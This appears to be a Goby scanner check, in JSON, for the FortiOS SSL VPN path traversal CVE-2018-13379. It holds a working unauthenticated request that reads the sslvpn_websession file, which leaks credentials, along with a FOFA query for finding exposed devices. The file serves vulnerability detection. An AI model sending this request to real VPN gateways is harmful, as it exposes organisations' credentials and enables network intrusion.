{
  "Name": "Fortinet FortiOS CVE-2018-13379 Directory Traversal Vulnerability ",
  "Description": "An Improper Limitation of a Pathname to a Restricted Directory (\"Path Traversal\") in Fortinet FortiOS 6.0.0 to 6.0.4, 5.6.3 to 5.6.7 and 5.4.6 to 5.4.12 under SSL VPN web portal allows an unauthenticated attacker to download system files via special crafted HTTP resource requests.",
  "Product": "Fortinet-sslvpn",
  "Homepage": "https://www.fortinet.com",
  "DisclosureDate": "2019-06-04",
  "Author": "gobysec@gmail.com",
  "FofaQuery": "app=\"Fortinet-sslvpn\" || header=\"SVPNCOOKIE\" || server=\"xxxxxxxx-xxxxx\"",
  "Level": "3",
  "Impact": "Account and password leak.",
  "Recommendation": "Upgrade from https://www.fortinet.com",
  "References": [
    "http://packetstormsecurity.com/files/154146/FortiOS-5.6.7-6.0.4-Credential-Disclosure.html",
    "http://packetstormsecurity.com/files/154147/FortiOS-5.6.7-6.0.4-Credential-Disclosure.html",
    "http://www.securityfocus.com/bid/108693",
    "https://devco.re/blog/2019/08/09/attacking-ssl-vpn-part-2-breaking-the-Fortigate-ssl-vpn/",
    "https://fortiguard.com/advisory/FG-IR-18-384",
    "https://i.blackhat.com/USA-19/Wednesday/us-19-Tsai-Infiltrating-Corporate-Intranet-Like-NSA.pdf",
    "https://nvd.nist.gov/vuln/detail/CVE-2018-13379",
    "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-13379"
  ],
  "HasExp": true,
  "ExpParams": null,
  "ExpTips": {
    "Type": "",
    "Content": ""
  },
  "ScanSteps": [
    "AND",
    {
      "Request": {
        "data": "",
        "data_type": "text",
        "follow_redirect": true,
        "method": "GET",
        "uri": "/remote/fgt_lang?lang=/../../../..//////////dev/cmdb/sslvpn_websession"
      },
      "ResponseTest": {
        "checks": [
          {
            "bz": "",
            "operation": "==",
            "type": "item",
            "value": "200",
            "variable": "$code"
          },
          {
            "bz": "",
            "operation": "contains",
            "type": "item",
            "value": "var fgt_lang =",
            "variable": "$body"
          }
        ],
        "operation": "AND",
        "type": "group"
      }
    }
  ],
  "ExploitSteps": null,
  "Tags": null,
  "CVEIDs": [
    "CVE-2018-13379"
  ],
  "CVSSScore": "9.8",
  "AttackSurfaces": {
    "Application": null,
    "Support": null,
    "Service": null,
    "System": ["vpn"],
    "Hardware": null
  }
}